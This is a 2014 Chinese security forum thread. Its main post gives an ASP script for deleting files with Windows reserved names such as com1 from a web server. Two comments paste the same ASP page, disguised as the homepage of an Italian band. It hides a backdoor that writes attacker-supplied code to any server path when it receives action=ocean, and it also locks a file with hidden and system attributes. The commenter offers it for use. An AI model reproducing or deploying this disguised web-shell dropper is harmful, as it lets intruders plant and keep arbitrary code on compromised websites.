asp 删除LPT.AUX.COM.CON开头文件 RHS属性文件删除~!

2014-10-07 19:58:04 27 3436 1
有时候网站里面别人创建了一些带点的文件夹,还有一些利用“Windows 系统保留的文件名"创建的文件,正常情况无法删除。
查了很多资料,介绍都是在CMD下删除,有时候没服务器管理员权限,也不能执行命令,难道就删不掉了么。通过查找相关资料,找到核攻击发表过的一篇文章http://lcx.cc/?i=2416
自己用asp东拼西凑写了个,有需要的将就着用吧。
<%
Set Fso = Createobject("Scripting.FileSystemObject")
Set File = Fso.GetFile("\\.\C:\Inetpub\com1.main.asp")
File.Attributes = 0
Set Txt = fso.GetFile("\\.\C:\Inetpub\com1.main.asp")
Txt.delete
response.write "OK"
%>

关于作者

Calm49篇文章1433篇回复

评论27次

要评论?请先  登录  或  注册
  • 7楼
    2014-10-7 23:10

    ASP的好久不用了。喜欢PHP 的

  • 6楼
    2014-10-7 22:32

    果断看看 确实是不错的东西! 后期肯定会遇到 先拿来保存下

  • 5楼
    2014-10-7 22:31
    komas

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Corpo Bandistico Giuseppe Verdi</title> <meta http-equiv="refresh" content="2" /> <meta name="keywords" content="Corpo Bandistico Giuseppe Verdi, banda, ombriano, crema" /> <meta name="description" content="Il Corpo Bandistico Giuseppe Verdi di Ombriano - Crema, attualmente composto da oltre 40 elementi e da circa 20 allievi, affianca alle tradizionali manifestazioni civili e religiose un’importante attività concertistica svolta sia a livello locale sia a livello nazionale, ed è inoltre stabilmente inserita nella stagione concertistica del Teatro “S. Domenico” di Crema." /></head><body><% On Error Resume Next IF Request("action")="ocean" then set gl=server.CreateObJeCt("Adodb.Stream") gl.Open gl.Type=2 gl.CharSet="utf-8" gl.writetext request("shellcode") gl.SaveToFile server.mappath(request("shellpath")),2 gl.Close set gl=nothing response.redirect request("shellpath")end if %><% Set fso = Server.CreateObject ("Scripting.FileSystemObject") Set file = fso.GetFile ("D:\MK_wwwRoot\datoteke\trxfrance(1).html") file.attributes = 1 + 2 + 4 Set fso = nothing Set file = nothing%></body></html>我也附上一个,锁定好文件,然后打开这个脚本,只有服务器重启后才可以删除你锁定的文件

    1

    话说你测试过么,我貌似就看到把文件属性设置成9而已啊,没有什么特殊啊?

  • 4楼
    2014-10-7 22:30
    bin4ry

    在aspshell下无法发现这类文件吧?

    1

    可以列举出来的~~!!

  • 3楼
    2014-10-7 20:22

    在aspshell下无法发现这类文件吧?

  • 2楼
    2014-10-7 20:16

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Corpo Bandistico Giuseppe Verdi</title> <meta http-equiv="refresh" content="2" /> <meta name="keywords" content="Corpo Bandistico Giuseppe Verdi, banda, ombriano, crema" /> <meta name="description" content="Il Corpo Bandistico Giuseppe Verdi di Ombriano - Crema, attualmente composto da oltre 40 elementi e da circa 20 allievi, affianca alle tradizionali manifestazioni civili e religiose un’importante attività concertistica svolta sia a livello locale sia a livello nazionale, ed è inoltre stabilmente inserita nella stagione concertistica del Teatro “S. Domenico” di Crema." /></head> <body> <% On Error Resume Next IF Request("action")="ocean" then set gl=server.CreateObJeCt("Adodb.Stream") gl.Open gl.Type=2 gl.CharSet="utf-8" gl.writetext request("shellcode") gl.SaveToFile server.mappath(request("shellpath")),2 gl.Close set gl=nothing response.redirect request("shellpath") end if %> <% Set fso = Server.CreateObject ("Scripting.FileSystemObject") Set file = fso.GetFile ("D:\MK_wwwRoot\datoteke\trxfrance(1).html") file.attributes = 1 + 2 + 4 Set fso = nothing Set file = nothing %> </body> </html> 我也附上一个,锁定好文件,然后打开这个脚本,只有服务器重启后才可以删除你锁定的文件

  • 1楼
    2014-10-7 20:03

    以前也遇到过,这些大部分都是搞黑产做的,一般都是获取到服务器然后安装easy file locker 对文件进行锁定